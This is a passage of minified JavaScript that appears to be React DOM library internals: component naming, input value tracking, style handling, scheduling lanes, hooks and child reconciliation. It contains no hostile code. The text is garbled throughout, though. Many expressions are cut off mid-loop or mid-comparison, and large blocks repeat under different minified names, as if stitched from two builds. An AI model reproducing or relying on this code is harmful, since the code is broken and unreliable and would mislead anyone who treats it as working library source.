24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===Ac?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function ua(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function El(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function jt(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=ua(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&uc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=ua(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,ua(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||El(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=ul.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Xn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Og=["Webkit","ms","Moz","O"];Object.keys(Xn).forEach(function(s){Og.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Xn[a]=Xn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Xn.hasOwnProperty(s)&&Xn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Pg=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Pg[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function bc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function mt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,mt(s),a)for(s=0;s>>=0,s===0?32:31-(oh(s)/rh|0)|0}var Al=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function Ih(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),ft=" ",Yt=!1;function Xr(s,a){switch(s){case"keyup":return Jh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function Dh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Yt=!0,ft);case"textInput":return s=a.data,s===ft&&Yt?null:s;default:return null}}function Eh(s,a){if(Da)return s==="compositionend"||!fc&&Xr(s,a)?(s=Yr(),Hl=Bc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Nt(n)}}function Kr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Kr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=El();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=El(s.document)}return a}function Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qh(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Kr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Ht(n,e);var c=Ht(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Fn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==El(l)||(l=Ea,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&_n(Fn,l)||(Fn=l,l=Pl(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function K(s,a){Ua++,Je[Ua]=s.current,s.current=a}var Aa={},os=ma(Aa),js=ma(!1),Xa=Aa;function cn(s,a){var n=s.type.contextTypes;if(!n)return Aa;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function us(s){return s=s.childContextTypes,s!=null}function ql(){S(js),S(os)}function Dt(s,a,n){if(os.current!==Aa)throw Error(w(168));K(os,a),K(js,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,_g(s)||"Unknown",p));return E({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||Aa,Xa=os.current,K(os,s),K(js,js.current),!0}function Et(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Xa),l.__reactInternalMemoizedMergedChildContext=s,S(js),S(os),K(os,s)):S(js),K(js,n)}var Qs=null,wp=!1,ne=!1;function _r(s){Qs===null?Qs=[s]:Qs.push(s)}function gI(s){wp=!0,_r(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=F;try{var n=Qs;for(F=1;s>=c,p-=c,Ts=1<<32-Fs(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Rs=j(h,G,N.value,y);if(Rs===null){G===null&&(G=x);break}s&&G&&Rs.alternate===null&&a(h,G),g=e(Rs,g,Y),k===null?Z=Rs:k.sibling=Rs,k=Rs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),Z;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(G=l(h,G);!N.done;Y++,N=C.next())N=A(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&G.forEach(function(An){return a(h,An)}),J&&Za(h,Y),Z}function B(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&Pt(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=Dl(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,B(h,g,k(C._payload),y)}if(fn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return B}var on=ni(!0),li=ni(!1),il={},Ds=ma(il),$n=ma(il),qn=ma(il);function Va(s){if(s===il)throw Error(w(174));return s}function Sc(s,a){switch(K(qn,a),K($n,s),K(Ds,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:Ze(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=Ze(a,s)}S(Ds),K(Ds,a)}function rn(){S(Ds),S($n),S(qn)}function pi(s){Va(qn.current);var a=Va(Ds.current),n=Ze(a,s.type);a!==n&&(K($n,s),K(Ds,n))}function xc(s){$n.current===s&&(S(Ds),S($n))}var z=ma(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function Jc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{F=n,pe.transition=l}}function mi(){return Ys().memoizedState}function CI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},bi(s))wi(a,n);else if(n=$r(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),ki(n,a,l)}}function jI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(bi(s))wi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Kc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=$r(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),ki(n,a,l))}}function bi(s){var a=s.alternate;return s===D||a!==null&&a===D}function wi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function ki(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,kc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},uI={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:qt,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Sl(4194308,4,Ci.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Sl(4194308,4,s,a)},useInsertionEffect:function(s,a){return Sl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=CI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:$t,useDebugValue:Tc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=$t(!1),a=s[0];return s=dI.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ti(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,qt(ri.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,oi.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Us,l=Ts;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Ug(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case uc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case sr:return(s.displayName||"Context")+".Consumer";case qo:return(s._context.displayName||"Context")+".Provider";case yc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case mc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function _g(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===uc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function nr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=nr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function lr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=nr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function El(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function Ct(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function pr(s,a){a=a.checked,a!=null&&Ac(s,"checked",a,!1)}function be(s,a){pr(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function jt(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||El(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Xn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Og=["Webkit","ms","Moz","O"];Object.keys(Xn).forEach(function(s){Og.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Xn[a]=Xn[s]})});function or(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Xn.hasOwnProperty(s)&&Xn[s]?(""+a).trim():a+"px"}function rr(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=or(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Pg=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Pg[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function bc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function yt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function ir(s){sn?an?an.push(s):an=[s]:sn=s}function gr(){if(sn){var s=sn,a=an;if(an=sn=null,yt(s),a)for(s=0;s>>=0,s===0?32:31-(oh(s)/rh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function Ih(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Vt=" ",ft=!1;function Rr(s,a){switch(s){case"keyup":return Jh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Xr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function Dh(s,a){switch(s){case"compositionend":return Xr(a);case"keypress":return a.which!==32?null:(ft=!0,Vt);case"textInput":return s=a.data,s===Vt&&ft?null:s;default:return null}}function Eh(s,a){if(Da)return s==="compositionend"||!fc&&Rr(s,a)?(s=fr(),Hl=Bc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=vt(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Kr(){for(var s=window,a=El();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=El(s.document)}return a}function Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return 